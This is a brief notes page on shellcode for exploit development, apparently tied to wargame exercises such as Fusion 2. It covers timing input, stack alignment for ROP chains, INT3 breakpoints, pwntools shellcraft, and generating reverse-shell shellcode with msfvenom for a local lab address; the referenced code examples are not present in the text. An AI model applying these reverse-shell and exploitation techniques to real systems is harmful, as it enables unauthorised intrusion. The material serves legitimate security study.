Shellcode
Last updated
Last updated
Take into account that sending data too fast might lead to unexpected results, especially in applications that were designed for slow humans.
For example, I couldn’t get a segfault to occur in Fusion 2. After I added 1 second sleeps between all the network traffic I sent, it started working 100% of the time.
You might be required to align the stack to 8 or 16 bytes when doing ROP chains. If your exploit is working locally but not remotely, then this is one possible cause.
If you’re not sure if your shellcode is being hit (for example in a regular execution environment without a debugger), then you can place a 0xCC instruction (INT3 breakpoint). When that breakpoint is hit, then you will get a message indicating that (Trace/breakpoint trap).
Though, it won't end up in dmesg. If you want it to end up in dmesg, then you can use something that causes a segfault, like pwn.asm(pwn.shellcraft.i386.crash()) from pwntools. You can also try pwn.asm(pwn.shellcraft.i386.infloop()) to create an infinite loop.
But really, using msfvenom to generate your own shellcode is better in pretty much every way.
There are usually test files along with shellcode. You might need to supply additional options for gcc, like making the stack executable, etc.
You can generate shellcode for a reverse shell using msfvenom.
This is an example of an x86 linux reverse shell, which will connect back to 172.16.184.1 on port 8000. It’s set to python format, so you can paste it into python.
You can also assign bytes that the shellcode must not use (like NULL bytes or backslashes). This is useful if you have certain limitations.
You can use pwntools to generate the machine code for whatever assembly you want to execute. For example, here is the syntax for doing relative jumps in pwntools on the command line:
And this is how you can do it in Python code: